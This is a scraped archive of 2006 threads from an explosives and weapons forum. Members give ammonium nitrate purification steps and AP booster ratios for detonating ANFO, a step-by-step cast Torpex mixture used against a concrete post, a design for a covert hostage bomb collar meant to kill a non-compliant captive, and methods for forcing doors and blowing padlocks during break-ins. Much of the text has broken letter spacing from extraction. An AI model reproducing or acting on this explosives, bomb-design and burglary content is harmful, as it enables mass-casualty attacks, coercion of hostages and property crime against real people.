When it comes to weapons, I'd say it pays to be able to use both "legal" weapons like a Mag-lite, improvise ones like spears
and to some degree use illegal ones like a gun (I envy Americans...). Although I cannot imagine it exists "flashlight-figthing"
schools, a thought over defense strategy and well rehearsed movements could do wonders.
Pistols are rare in this country, and the crimmies with arms are unlikely to have trained enough to shoot reasonably straight. A
licence for pistols is more or less limited to police officers and members of shooting-clubs, even requiering this-and-that many
hours of practice every year. Also, one has to own a safe to store the gun, and if I've understood it right the mag has to be
stored in another safe, elsewhere. So, owning a gun is a bigger advantage here, but getting there is a bitch and a half.
As for running from/fighting the police? Hell, even here in Swe I wouldn't try that, even though cops here are not known to
come in 12 cars and shooting you for holding keys in your hand. I'd be off to another country fast as a fly if things started to
fuck up here with random arrests and shit.
Ropik September 10th, 2006, 01:37 PM

I would say:
-3 km run under 14 minutes
-100 meters dash under 15 seconds
-Jump with a running start over a 110 centimeters high obstacle(not for the benefit of jumping like a madman, but for
indicating you have enough "spring" in your legs)
-40+ km hike a day with a resonable weight(15-20 kg) without being half dead the second day
Things above are "minimal sound demands" in my opinion and should be improved.
-Some training in unarmed combat, knife, stick and flexible weapons fighting, ideally to the degree of being able to grab a
thing from the pavement/table/whatever and use it effectively
-At least basic training in shooting both long and short weapons(you knows the rule about bringing knives into gunfights...)
and at least theoretic ability to use explosives, make boobytraps, et cetera. Remember, when you are outnumbered and
outgunned, boobytraps are very viable way to go.
-Some knowledge about night movements, navigation, basic soldiering, knots, survival, evasion etc. To everybody his own...
-Also, some basic handyness with tools is required IMO. Nobody will do repairs for other people when the smelly stuff hits the
fan.
Jome skanish: Check "Flashlight fighting" by Phil Elmore.
Sausagemit September 13th, 2006, 12:25 AM

A lot of times the shock of seeing one of your buddies go down can be enough to distract one to the point forgetting to fight
and also the sheer shock that one guy is going to kick all of your asses because you didn't see it coming. That is a great way
to win a fight against 3 or more untrained attackers.
Just like this video, http://video.google.com/videoplay?docid=8202008483113221283&q=mike+vallely&hl=en.
And keep in mind that Mike Vallely has just basic boxing knowledge. He just has the mindset that he will and can kick the
utter living shit out of anybody and everybody even though he has had his ass kicked a couple of times in fights that he
started with security gaurds and the such. And he even voluntarily had his ass kicked by Kip Brennan the hockey player.
cutefix September 13th, 2006, 06:05 PM

Yes, in real fighting,,,you must be prepared and strong enough to accept the blows of your adversary that is an important
reason that full contact sparring is a good training.
In higher form of martials arts training, the ability to endure pain is part of the training regimen...
If you have a weak threshold for pain then you better ask yourself if you are really serious with martials art training.:p

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Getting credit for u p l o a d s
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Westmount August 28th, 2006, 06:20 AM

W hat are the best ways to get credit for uploads ?
I realise that one's ability to have special requests gran ted is related to how much one has contributed.
I p l a n t o u p l o a d a l o t o f m aterial (topic related) that I have taken the time to scan.
If and when I want to m ake a special request, hopefully people will reme mber that I have also contributed a lot of good
m aterial.
Are there ways of self promotion that will create a lot of ill will an d / o r g e t m e b a n n e d .
megalomania August 29th, 2006, 12:40 AM

Those that contribute are brought to the attention of the powers that be. We extend courtesies to those that we notice. There
i s n o f o r m a l s y s t e m . I t ' s t h e s a m e w a y a n e m ployee gets notice d b y t h e C E O , b y d o i n g a g o o d j o b . D o a g o o d j o b a n d y o u
m ay be invited upstairs to the board room :)

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Pure Amm onium Nitrate
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Raffikki August 28th, 2006, 11:16 AM

Hi
I have seen there is a lot of ways to m ake ANFO but i dont know how to get am m onium nitrate in its purest form .I use fertilizer
that has loads of crap in it.
Can anyone help?
festergrump August 28th, 2006, 11:25 AM


ha ha
I Gu ess thats why its the water cooler:D
nbk2000 August 28th, 2006, 09:08 PM

W atercooler or not, stupidity and laziness earns a ban. :)

O k I s e a r c h e d and found that you can dissolve it in Methanol an d put in a freezer and the crystals will form at the bottom.I
dont have that much methanol so I used water which seemed to work.Its long white crysta ls,the only thing I cant ge t is how to
test it without being blown up?
nbk2000 August 29th, 2006, 08:02 PM

AN is non-explosive in the tiny quantities you'd use for physical propertie s tests, like melting point or solub ility.
Really...how hard is it to heat a few crystals in a spoon?
Speaking of spoons, I'll even give you a bit of spoonfeeding:
Download the "Chem istry like grandpa used to do" PDF file (in the Rapishare links topic) and you'll find your answers within. :)
megalomania August 31st, 2006, 09:02 AM

D o s e n ' t e v e r y b o d y h a v e a m e l - t e m p apparatus, or is that just m e ?
Alexires S e p t e m b e r 1 st, 2006, 04:29 AM

Sorry Mega, I think its just you. The m ajority of us probably use a spoon and a therm o m eter.
c.Tech S e p t e m b e r 1 st, 2006, 04:57 AM

m el-tem p a p p a r a t u s . . . s o u n d s e x p e n s i v e .
I d o n t think it would be ea sy to g e t without putting y o u r s e l f u n d e r t h e s p o t l i g h t f o r d r u g m a n u facture.
nbk2000 S e p t e m b e r 1 st, 2006, 08:16 AM

A clear plastic stirrer straw and a test tube of m ineral oil is adequate for a lot of tests.
megalomania S e p t e m b e r 1 st, 2006, 09:40 AM

W hat kind of average street level drug cook even bothers to run analytical tests on his product, let alone a melting point?
I gather just about every colle g e c a m p us in the world m ust use Meltem ps in the lab :)
http://www.wellesley.edu/Chemistry/chem 2 1 1 l a b / O r g o _ L a b _ M a n u a l / A p p e n d i x / I n s t r u m e n t s / M e l t i n g P o i n t / m e lting_point.htm l
Raffikki S e p t e m b e r 2 nd, 2006, 08:42 AM

T h a n x I h a v e m a d e s o m e A N . T h i s m ig ht be a stupid qu estion but what is the minim u m a m o u n t o f A P I c a n u s e t o d e t o n a t e
AN?and what is the m inim u m am ount of AN you can use?
festergrump S e p t e m b e r 2 nd, 2006, 11:24 AM

T h i s m ight be a stupid question...
T h i s l e a d s m e to believe it is, or rather YO U think it is, as much as beginning a sentence with "You're not g onna believe this,
but..." or "You m ight think I'm lying, b ut..." are telltale signs of what's to com e next... W h y e v e n a s k , t h e n , if the q uestions
s e e m stupid even to you? :confused:
Truth is, you just don't like the idea of searching, do you? And e v e n a f t e r y o u g e t o n a n o t h e r m e m ber's case for not searching
in another th read! :m ad:
T h e s e q u e s t i o n s a n d m o r e a r e a n s w e r e d h e r e w i t h i n t h e p a g e s o f R S , I s o l e m nly prom ise you.
W h e n p r o m p ted to search on your own earlier in this thread of yours you manage d to com e up with the info you needed that
AN is soluble and that it can be recrystalized without the impurities using this sim ple information you found. W h a t e l s e d i d y o u
learn along the way, I wonder? Lot's m o r e , I a m s u r e .
W hat can you com e up with if you search out the answers to these new questions you have? Likely a lot m ore inform ation than
if the answers to your specific question s are given directly to you . That's the great thing about researching things for yourself...
1) You usually com e out with alot more inform ation than what you set ou t to retrieve from a spoon f e e d i n g .
2) You don't end up pissing off m embers here who have answered the sam e questions thousands of times over.
3) You avoid landing in the belly of the Beast in a heap of partially chewed chunks, thus e nding yo ur studies here forever.
W hat better way can I explain this to you to m a k e y o u u n d e r s t a n d ?
Very few get banned from RS for posts m ade in the Water Cooler, but it does happen, though rare ly (ie: "expect the
unexpected";) ).
W atercooler or not, stupidity and laziness earns a ban. :)

I s u d d e n l y g e t t h e m e n t a l i m age of Bricktop from the m ovie Snatch and a specific quote comes to mind: "You are on very thin
ice, m y pedigree chum s, and I shall be under it when it breaks!".
Alexires S e p t e m b e r 2 nd, 2006, 11:33 AM

Bravo festergrum p! You posted just be fore m e, hence I don't ne ed to waste m y time answering Ra f f i k k i ' s s p o o n f e e d r e q u e s t . A
baboon indeed!
Mega, only the im aginary kind care that m uch for their drug fucked m inions.
In the words of the m an that holds the record here for a cook, "Thermom eters are for pussies"
...Uh huh. I'm g l a d f o r h i s s a k e s t h a t t h i s m a n d o e s n ' t e n g a g e i n o u r h o b b y . . . .
Raffikki September 2 nd, 2006, 01:40 PM

If AP is m ixe d with amm onium nitrate, it can be used as an effe ctive booster charge. The ratio usually used is about 3:1 AP to
a m monium nitrate. This m ixture is to be confined and detonated with a blasting cap (cool part is, the cap can be AP as well).
This booster charge is powerful enough to detonate significant am ounts of ANFO. Usually dynam ite or TNT is used to detonate
ANFO, but this booster is much easier to get by, and works. If a more powerful cap is used, then the ratio of AP to AN can near
1:1, as this will be m ore powerful, but m ore difficult to detonate.
I am quite a Baboon:D
sanguine raptor S e p t e m b e r 3 rd, 2006, 09:42 AM

How pure is the am monium nitrate in instant ice packs?
++++++++++++
Pure enough for anything you'd use it for. NBK

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Cast TNT
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lucas August 28th, 2006, 12:05 PM

A 200g charge of cast TNT (75%) with RDX (20%) and aluminium (5%) was poured into a thick walled cardboard tube, 7mm wall thickness, 30mm ID. 30g blasting gelatin has
been added to the charge as a booster. A comercial det will be used for initiation.
Who thinks that's an ideal boster?
Who thinks it'll be fully detonated by that booster?
How far away would YOU want to be for open air detonation.

I would bury it in the ground or put it in something (like a car) and then mount up a camera and then hide in or behind something solid.
An open air detonation for something like this is just a waste.
But if your dead set on an open air detonation I would feel safe at right around 75-100 feet with nothing in between you and the blast, 50 feet with some sort of shield.
lucas August 29th, 2006, 02:03 PM

Well here are the pics and vid.
http://rapidshare.de/files/31213788/Torpex200g.wmv
http://rapidshare.de/files/31214363/TorpexStills.rar
It was set against a steel reenforced concrete post. The concrete was mashed and the steel slightly bent. Approx 25mm steel rod (X4) inside a 200X120mm concrete post.

Back in the 70's, I was tasked to set up and touch off a nuclear weapons simulator - a 55 gal. drum 1/3 full of photoflash powder and a paper mache casket of 20 lb of flake
TNT. The Army provided only 30 meters of wire. To keep debris from being thrown, I put it in a shallow pit. I also found out the real reason the old Army fatigue unifor is
brown, and one leutenant's pants also became a bit damp.
There are several tables of safe distances available. I'll upload one to tmp's ftp site today.
Lucas, I salute you - having fun, but staying safe. Also, learn as much as possible from what you do.
lucas September 3rd, 2006, 10:39 AM

The pale yellow TNT was placed in a beaker and this into a nearly boiling waterbath. The very fine RDX powder was also warmed in the same manner. The TNT was mixed
gently until all melted. As the TNT melted it took on a clear orange appearance. TNT which solidified on the side of the beaker returned to an off white colour. The RDX was
added all at once and gently stirred. The RDX easily mixed without showing capture of air. The appearance went from clear to opaque. The mixture remained quite fluid. The
fine aluminium power, which was of very low apparent density was also added all at once. The very fine particle size meant some became airborne as it was gently stirred. The
powder did not mix easily, largely remaining floating as stirring gradually incorperated it into the mixture. The mixture was now silver in appearance and still quite fluid. It
poured easily and remained liquid for a minute or more after pouring.
The whole process took 15 minutes for 200g of 75/20/5 mixture.
Hope this is interesting!
nbk2000 September 3rd, 2006, 02:49 PM

I read that anthracene, in 1/3%-3%, prevents cracking in cast TNT compositions.

Great, Lucas. From the description, you used high grade of TNT.
The munitions plants use RDX that has been water wet. It helps in the incorporation of RDX into the TNT. They also add the Aluminum flake to the wet RDX, it will help keep
down the air fly of aluminum as well as helping in its mixing.
You may want to download ExplosivesPropellants&Pyrotechnics.pdf from the ftp site. Chapter 9 has some information on cast loading explosives into munitions. Also get
LLNL_Explosives_Handbook,pdf, and read up on the Gurney equations. Run the equations with the parameters for your mix, and a steel cylinder, and you will quickly see why
containers of high density or metal are not a good idea.
Some cautions on the TNT. Molten TNT is a lot more senitive than when solid. Also, the TNT that solidified on the side of the container is likely flake TNT, which I understand
can be initiated by a simple black powder squib. Be careful of it.

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Which Branch Of Military?
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There are some members here that would like to have military experience, be it in tactical operations, a specialization in weapons, long range combat?
Anyway, if I wanted to get good tactical training with slightly above average physical fitness, what branch would you recommend?
Also, if you had to go into/have been to the military, what job would you choose?
shooter3 August 29th, 2006, 01:00 AM

UsNavy. There is the Seals, for those who like to kill up close. Ships that can lay waste to vast areas at a time. You can fly.....off Carriers. You can see the world. All this while
you have ready access to clean clothes, good food, air conditioning, babes in every port, and training in skills that you can use in civilian life. The down side is the fact that if
there is a shipboard fire or a hit by a major weapon, it consumes many lives at a time(not a common occerance) and there's no where to run and few places to swim to. I
loved the Navy and knowing what I know now, I would have done 20 years. (And now the pay is pretty good!). GO NAVY!!!
nbk2000 August 29th, 2006, 07:26 AM

The days of the battleships with 16" guns firing 2000 pound shell that could obliterate city blocks are done and gone.
Carriers are floating targets for massed missile attacks, submarines, and aircraft. And there will be few survivors when it inevitably comes to pass, for no one will be able to get
to you before the sharks or cold does.
Submarines are coffins that happen to not sink. When they do sink...crabs revenge! :)
Yeah, you get better food, but there's nowhere to run for cover, or hide from looming death, and no body to be brought back for your family to say goodbye to. You're just a
meal for the guppies.

If you want to get worked like a dog for years, but maybe have a civilian job skill, go Navy.
If you want to have your ass run off for years, go Marines.
If you want weekends off (maybe), and maybe have a civilian job skill, go Air Force.
If you're feeling lucky, go Army (who knows).
If you want the best 20 year job, go EOD somewhere.
TreverSlyFox August 29th, 2006, 09:35 AM

For a general "This is how you kill people by team work" then the Rangers is the way to go or the Marines Force Recon.
For the special topics like Small Arms Expert, Demolitions, Communications, Medical etc. then the Army Special Forces or Navy Seals. Both cross train in at least two fields and
have a working knowledge of all the fields in their team.
For real "High Speed Low Drag" work then Delta force which draws the best from all the Armed Services Special Forces.
The drop out rate is something like 97% in the Special Forces and Seals, so it's not something you go into on a whim.

They say that the entry requirements for army rangers in terms of fitness are:
minimum: 49 pushups within 2 minutes.

recommended: 80+ within two minutes
minimum: 59 situps within 2 minutes

recommended: 80+
minimum: 6 pullups
recommended: 12+
minimum: 15:12 minutes for 2 mile run

recommended: sub 13:mins
minimum: 16 mile hike/walk with 65lb pack: 5 hours 12 minutes

recommended:4-5 hours.
minimum: 15 meter swim w/gear: Just do it.

recommended: Just do it.
:confused:

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > C overt Hostage Bo mb Collar
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PCBandit August 30th, 2006, 03:50 AM

As I'm new, not 100% sure as to which forum this is applicable and don't wish to get banned, I'll post it here.
I ' v e l o n g l i k e d t h e i d e a o f t h e h o s t a g e bom b collar and have worked it into a scenario, that of accessing a target at their
h o m e, securing them, attaching this item and then having them do what needs doing. I've read NBK's previous post on
m aking it covert through use of the ne ck brace, but what if this is not an option (eg, in the context of the a ctions required,
would raise undue suspicion)?
W hat I propose is a tight chainlink 'necklace' connected to the top of a flat project box worn under the clothing. A second chain
goes around the upper torso securing the box to the target's chest. The box is fitted out as follows.
A master "on off", m ost likely in the form of a keyed switch.

A sm all quantity of AP putty, embedde d with a quantity of 00 buckshot, and detonator.
A blinking LED (to ham mer ho me to th e target that the device is active)
A m e c h a n i s m allowing rem ote detonation (preferably via a com pact detonator, carriable on the person, that has a reasonable
range)
A m e c h a n i s m which will cause detonation if the circuit of the neck or torso chain is interrupted.'
T h e p u r p o s e o f t h i s d evice is not to use as a 'b argaining chip' in a hostage situation, but prim arily to instantly diminish the
target's threat if they cease compliance. The fe ar insuring com pliance is only secondary.
H o w w o u l d s o m e o n e g o a b o u t m aking such a d evice?
nbk2000 August 30th, 2006, 08:47 AM

Such a device is the very origin of the HBC ( H o s t a g e B o m b C olla r), as I read about it in an old Readers Dig e s t m a g a z i n e ,
where a south am erican criminal was using it fo r extortion, with a design very m uch similar to what you described.
I d o n ' t s u p p o s e y o u r e a d t h e t h r e a d a b o u t ' T h e P l u g ' , d i d y o u ? T h e u l t i m ate in covert! ;) :D
And for rem oving a threat, I can't think of anything quicker than seperating the head from the body. :)

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > Q uick entry options
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PCBandit August 30th, 2006, 04:45 AM

If one is attempting to gain access to premises via a door quickly, and one is not m eant to be, which option would be best in
general opinion? Speed can be traded off for stealth here.
Quick
Halligan (or Hooligan) bar. Lots of noise, reaso nably qu ick.
K Tool. Less noise than the Halligan, alot m ore visible to passing 'Deputy Dog' types, m ay fail
Stealthy
P i c k i n g , m a n ually or with an electric. Takes too long, electric picks are no isy.
Drilling the lock's sheer line at an earlier stage (thus leaving it a ble to be turned by any key) and returning at 'go' with 'any'
key. Fiddly, could be detected.
BOO M
Fran gible compressed powder SG round... according to police info, when done properly has a 90% success rate, but is m e g a
loud .
Bolt breachin g charge . Also loud, bette r chance at success becau se of positioning, but hard to reliably m anufacture at hom e .
Any discussion on the above options, or any other optio ns, would be appreciated.

Depends what type of door it is.
Screen door, glass sliding doo r, crappy indoor door, solid wood door, steel door.
For anything other than a steel door, I wouldn't blow it up. Even though it is quick, EVERYO NE within kilom eters will h ear it, and
s o m eone is bound to tell the pigs.
If its a screen door, cut through it.
If its a glass sliding door, get some very sticky electrical tape or duct tape and stick a big X on the door with a square around
it. If the door is really big, apply m ore duct tape then sm ash the glass. The duct tape will stop the glass falling to the floor and
m aking a shitload of noise.
If its a crappy indoor door, kick through it. You can put your fist through one, so it would be easy to kick down.
If its a solid wood door, try an d kick th e lock out. If that is a no go, try and take out the hinges with a sledge hamm er. Often
people will have decent locks on their doors, but the hinges are shithouse.
If its steel, b low it open or cut through it with a oxy cutter or som e t h i n g .
Drilling out a lock wouldn't be too hard, as long as you practiced on a lock that was about the sam e b e f o r e h a n d . W h y w o u l d
you be drillin g it out before hand?
W ith the crowbar technique, if you can pull the door a few m illimetres to the side, you should be able to slide a m e t a l h o o k
and open the trangular latch. If its dead bolted , thats another story.
Use your own judgem ent about what you can do and what you can't do.

If one is attempting to gain access to premises via a door quickly, and one is not m eant to be, which option would be best in
general opinion? Speed can be traded off for stealth here..
I t h i n k a l o t d e p e n d s o n W HAT you're going to be doing there. "In n' out" or staying for a while?
I h a v e f o u n d that mo st BACK doors can sim ply be kicke d open, with little notice b eing taken. Get inside quickly, and close the
d o o r . T h e n e ighbors look around, say "what was that?" and go a bout their business. After a 10-15 minutes to get the goods
and let everyone get calmed down, leave by the front door as if you belo n g e d t h e r e .
I learned this while working for an appliance repo place many ye ars back.
-BW

I l o c k e d m yself out of my office one night, wen t t o t h e r e s t r o o m a n d l e f t m y k e y s a n d b a c k - u p k e y s i n m y jacket. T h e
locksm ith racked the pins in the lock with a lockpick for thirty seconds. No go.
W h e n p e o p l e t h i n k o f t h e d o o r, they overlook the fact that the door locks into the doorfram e. A hollow doorfram e has give to
it. The locksm ith took out a heavy duty screwdriver, placed it between the lock and doorframe, gave a shove with his hip, and
t h e d o o r w a s o p e n . I t s o u n d e d a l m ost like the norm a l s o u n d o f a d o o r o p e n i n g . I t t o o k o n l y s e c o n d s . I t a l s o d o e s l i t t l e
d a m age, a few scrape marks on the door and jam .
I a m trying to find m y copy of the "barrier Penatration Database" that gives the m e a n s a n d e x p e c t e d t i m e for penetration of
various barriers, where noise is not an option.

I've found th a t t h e g o o d o l d f a s h i o n e d b o m b i n a C O 2 cartridge works wonders on com b o a n d p a d l o c k s .
Just fill with any suitable energetic m aterial, slide inside the U of the lock, and the explosive force will pop the bar right out.
If one puts only enough engredient to burst the cartridge, the noise shouldn't be too loud, but power will be sufficient. Also,
different exp losives make different pitches of noise. A nice shrill high pitched bang won't be noticed as m uch as a b assy
concussion.
Of course, th is m ethod is usle ss against traditional style door locks.

You must always use the right tool for the right job. The only tim e I h a v e e v e r e n c o u n t e r e d e x p l o s i v e s i n b r e e c h i n g l o c k s a n d
doors is in police forced entry. If you n eed to get into a fortified doorway, you dont care a bout the police or anyone knowing ,
and you dont plan to spend any tim e their, this option is valid (e.g., you have co me to kill the local drug d ealer and his crew).
Usin g an explosive charge for a simple B&E can turn a minor case into a full blown investigation be cause you went a n d u s e d a n
explosive! Your case just got bum ped to the top of the list of po lice priorities because now they think you a re a terrorist armed
with weapons of m ass destruction. W e may disregard all this sheeple pro paganda, but the police a nd authorities eat, sleep,
a n d b r e a t h e t h i s s t u f f . S o m e m ay seriously believe Al Q aeda is in their com munity.

W e m ay disregard all this sheeple propaganda, but the police and authorities eat, sleep, and brea the this stuff. Som e m a y
seriously believe Al Q aeda is in their com munity.
None of the cops I know do, b ut they pretend to, because that's where the grant m oney is now.
-BW

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > i m p r o v i s e d c h e m e q u i p m ent/
junk yard style
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W asn't sure where this would go. Found a few threads on im provised glassware, b ut those were on glass, not plastics, and had
nothing to do with contaminants/unwanted reactions.
Say you had no access to your lab- due to surveillence, mishap, whatever. I know pyrex bakeware works decently fine, but the
glass tubing can be h ard to come by in a pinch. If one were to use, say, pvc pipin g a n d a c o m mercial adhesive, along with a
clean rubber auto hose for coils, what sort of syntheses are best avoided due to hazardous byproduct or po ssible
contam inatio n to the point of uselessn e s s ? A n y b o d y k n o w e n o u g h a b o u t p l a s t i c s ?

Plastics wouldnt be very useful, as chemistry uses a lot of strong acids (sulfuric, nitric) that would eat through plastics and in
s o m e cases rubber (nitric). W ithout acids m any reaction s a r e u s e l e s s .
You can alwa y s m a k e your own glassware by glass blowing, but this m igh t not get the desired prod uct.
Cindor August 31st, 2006, 11:47 AM

But is not as easy as blow and m ake a bottle (or a ballon, or som thing).
It ta kes your whole life to learn the art of glass blowing.
Misanthropologist August 31st, 2006, 12:06 PM

W hat other materials could be unreactive enough? My p oint is item s that could be found in a hurry, not many people have
acce ss to that type of furnace.
Skean Dhu August 31st, 2006, 10:56 PM

O n M c m aster-C arr and Grainger I beleive they have a chem ical resistance table for the plastic components they carry, or if they
don't a search using that phra se or som ething similar should yield what you are looking for.
As I posted in another thread it m a y b e p o s s i b l e t o u s e a n o d i z e d a l u m in um in the distiallation of nitric acid. I have never tried
this method nor do I know of anyone who has, but in th eory it should work .
lucas S e p t e m b e r 3 rd, 2006, 11:40 AM

A lot of plastics are good for use with acids for a while. Polyethene and polypropylene can be used with concentrated nitric and
sulphuric acid especially at low temperatures like for nitric esterification. They will not last forever but they resist quite well for a
while. If your using disposable recycled containers then PP is ide al.
Kartell has a guide to plastic uses in the back of their catalogue. The online verion of the plastics guide is here.
http://www.kartell.it/u k/labware/pdf/Man_labware.pdf
This list rates PP and PE at 50 d e g C a s "virtually resistant" to 95% sulphuric.

Should last 30 days of exposure.
I v e f o u n d k a rtell's plasticware to be ve ry good and when using m easuring cylinders for exam p l e t h e e x p o s u r e t i m e is m i n i m a l
so they dont wear out. I hate breaking glassware so I like plastic for it's forgiving properties.
nbk2000 S e p t e m b e r 3 rd, 2006, 02:50 PM

Nalg e n e . c o m has a plastics co mpatibilty chart as well.
Misanthropologist September 2 2nd, 2006, 02:10 PM

Just what I was looking for, thanks everybody. I could'nt find any of these with the comm ercial engines and was getting pretty
frustrated.

The Explosives and Weapons Forum > Know ledge and Information > The Water Cooler > Private forum and the downfall of Rapidshare links.
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As the forum is now private Ive been worrying about the Rapidshare links and how long they will still stay valid.
Even when the forum was public some files exceed the 30-day no download limit and got deleted. Now we will have substantially less people signing up to the forum to
download the files.
There are a few things we can do:
Nothing let the files get deleted one by one. Then the files w ill need to c onstantly re-uploaded clogging the forum with old useless posts.
Let the mods repair the previous posts every time a file is found to be deleted in a old pos t get the mods to repair that post, putting a new link in.
Assign dow nload teams many users can be elected, each given a group of rapid share links they need to keep active. I am offering to be one of them .
Either way we must come to some decision.
nbk2000 August 31st, 2006, 08:51 AM

Let the mods repair the previous posts every time a file is found to be deleted in a old post get the mods to repair that post, putting a new link in.
In the army, the guy w ho complained about something was the one the sargent would assign to take care of it.
Guess what you just volunteered for. :D
Something I've wondered about the 30 day limit was, did it require a completed download to reset the clock, or would someone just starting a dow nload and immediately
canceling it be sufficient to extend the time again?
Because if it's a completed download, that'd be a major hassle. If it's just a started download, then I'm sure it'd be easy enough to run through the links every 3 w eeks.
Other options include a paid Rapidshare account to host the files on, or posting the links in boards like projectw and rapidshared, where others would do the needed dow nloading
to keep the files alive. :)

In the army, the guy w ho complained about something was the one the sargent would assign to take care of it.
Guess what you just volunteered for. :D

I knew that the 2nd choice wouldnt be an option, you, mega and jack are probably busy enough. I have more time on my hands that can be used to keep the files active.
Because if it's a completed download, that'd be a major hassle. If it's just a started download, then I'm sure it'd be easy enough to run through the links every 3 w eeks.
It doesnt really matter, I have the bandwidth just not the time, this lets me be able to do most. Soon I w ill do a 30 day test to see if they need to be fully dow nloaded.
You w ill need to find more people to help me keep them alive.
If you prepare a list of the links I w ill help keep them alive, I have already started to collect my own personal library/backup for personal use and a possible crash of the forum.
For all members: If anything ever happens to the forum please e-mail me at c.Tech_@hotmail.com EDIT: Note: There is an underscore if you cant see.
Please write it down somewhere.
Hitech_Hillbilly August 31st, 2006, 04:49 PM

c.Tech,
I'll help out. When you get the list started, PM a section to me, and I'll keep those downloaded.
chemdude1999 August 31st, 2006, 10:24 PM

Today, while uploading some files, I clicked on one of my own links. I then went back to my main RapidShare page to find the file showing a download. All I did w as simply
click the link to the "Save As" window. I stopped short of commencing the download. I did it again and the file showed two dow nloads.
Now, I'm not sure if this is sufficient for extending the 30-day period, but it looks promising.

Perhaps an experiment is in order, yes? Someone, or several someones upload a random file to rapidshare. Do not tell anyone w hat this file is, just keep it between yourself.
Attempt to dow nload the file without actually completing the transfer. Record the time and date of the original upload, and any subsequent download attempts. Attempt to
download the file about once a w eek. If after 30 days the file is still valid, we will have confirmed just the attempt is necessary.
I'll be hearing back from someone in mid October I hope?
Also, The Forum is not private, I am just tinkering with something and left it like that for a few days. Guests can't see the links anyway, so they still need to sign up.
Memberships actually increase with the board going private since many leechers and lurkers are now forced to register to view what they w ant.
c.Tech September 1st, 2006, 04:46 AM

Memberships actually increase with the board going private since many leechers and lurkers are now forced to register to view what they w ant.
But over tim e the forum going private would have actually paid off, less people coming through google would reduce the kewl signup because they wouldn t be able to find the forum in
the first place.
My opinion, make the forum private but only the homepage public, so anybody w ho finds the forum actually knows what it is.
Guests can't see the links anyway, so they still need to sign up.
But the title of the link would still be in googles search results causing many leeches to signup and download the file.
I'm going to start that download experiment with Rapidshare now , if anybody is doing this too, name your file a bunch of random numbers and letters so people cant use
different Rapidshare search sites to find the file you uploaded.
Sausagemit September 1st, 2006, 06:19 AM

I'm pretty shure I'm allready testing this out by accident.
On the 27th of last month I uploaded a file to rapidshare w ith the intent of it only being downloaded once, and it has only been dow nloaded once by the intended recipient of
that file on the 27th of August. And to make it even more perfect the name of the file is "VTS_01_0.VOB".
So yes, I just volunteered by accident.

Now the test is to start the transfer of VTS_01, and stop it almost as soon as it has started.
Then, don't use the URL for that file for 3 weeks.
Check after three weeks to see if it's still there. If so, then completing a dow nload isn't necessary for the file to stay online. :)
Dank$taVegas September 1st, 2006, 12:02 PM

I was going to bring this up sooner, but haven't mentioned it yet.
Since someone has brought it up here I go..... as of a few weeks ago Rapid Share has added a "Collectors Section" for non premium members. This keeps track of all your
uploads,
1)# of Dow nloads each file receives

2)Last Dow nload Date of each file
3)Links are stored in on easy to find place
4)You collect points for downloads tow ards a "Premium Account" (I'm well on my way there:D )
5)Offers easy kills for links
So at a glance I can check all my recent uploads in one place, and at a glance I can Keep the links alive by re-downloading the files that have reached their 30 day limit and
that are about to be deleted.
It's free to sign up for this service, and in time (10,000 points) you are granted a premium account for all your trouble. There is no need to keep track of your links for they are
all compiled in one handy location. So I w ill be able to keep track of all my recent uploads (From the post w ith Smuggling Made Easy By Michael Connor) and keep them alive
with little trouble at all.
I suggest anyone w ho is uploading a lot to Rapid Share, to get them self an account (Free) and keep track of their own uploads.
The only bad thing I can see about this service is, if people start complaining about your uploads being copy right, you might get banned from there. So far I haven't had any
trouble with this.
c.Tech September 1st, 2006, 12:35 PM

Sounds like a good idea Dank$ta but most people probably w ont do this or have no need to do this, others wont even take notice.
We still need to keep them alive, thats w hy I opened this thread.
Dank$taVegas September 1st, 2006, 01:34 PM

I don't see why people would not do this.....
If your spending the time uploading to Rapid Share, for all of 2 minutes it takes to create a "Collectors Account", You are able to monitor your uploads and you get 5 points per
1Meg file dow nloaded towards a Premium Account.
So far monitoring my recent uploads which are contained on my Collectors section, they are all still active, and all have been dow nloaded many times a day. All of them (w ith
the exception of 5 files) have been downloaded yesterday by people.
In about the 3 weeks I have been using the Collectors Section, I have generated 5,000 points tow ards my "FREE PREMIUM Rapid Share Account"
I have also checked a few of my 1st posted links, and the ones I have checked are all still working, some of them with w ell over 100 + downloads. But it doesn't say w hen the
last download time was..
The task of going through each link and re-downloading every one, seems like a very time consuming job to say the least, and to be doing this every 3 weeks means a full
time job. As there are already 7 page of links contained in the "Lots of Rapid Share Links" Sticky.
In the long run, it might be easier for 1 or MORE (4 people) people w ho will be staying around the forums for a long time to come, to download every link (working together)
that is posted my people, and create their own collectors section on Rapid Share and just monitor their files there, and keep the links alive. This may seem like a lot of work, re-
uploading files to Rapid Share, but you w ill be able to tell at a glance which files need to be downloaded by when. before they get deleted, as rapid share provides the last
download date for each file. And w ill cut back on the amount of downloads need to keep files alive.
Also you w ill be given free premium accounts for your troubles, 10,000 points you get a new free account, so they could be spread around the site to w orthy members ONLY,
and they could also be used to upload files with w hich will not get deleted with the 30 day rule.
I am currently working on uploading all my previous posts to my collectors section, Since I'm currently at my sisters place, using High Speed (God I hate dial up) it is going
rather fast. And I have most of my first 8 posts re-uploaded to my collectors section. (Which I w ill Re-Post or Maybe we could start a new sticky thread where only the people
monitoring the Collectors section of rapid share can post links that are monitored and kept active. Other can post in the current sticky, and the people who monitor the links will
download and re-upload to their collectors section, and post links in the monitored section which could be called "The Rogue Science Library" where you can download books
that are kept active.)
If there is any one 2-3 people interested in helping me maintain a library for the forums here, and if it is doable (NBK or another mod can set up a post "Rogue Science Library"
where only the people monitoring the links can post, we could set up a nice well rounded Library for members here, and we could monitor the links and keep them alive.
If people are interested in keeping rapid share links alive using the "Collectors Section" of Rapid Share, and are willing to re-upload some of peoples previous posts, step up and
we will work together to maintain a current and up-to-date links section on the forums here. If w e had 2-3 dedicated people working with the Rapid Share collectors Section, w e
could monitor and keep active thousands of links between a few dedicated people w ith little trouble at all.
And if your willing to go through hundreds of links every 3 weeks, you should have no problem re-uploading each file/link people post, to a collectors account, where you w ill
only have to monitor it and re-download each link as needed.
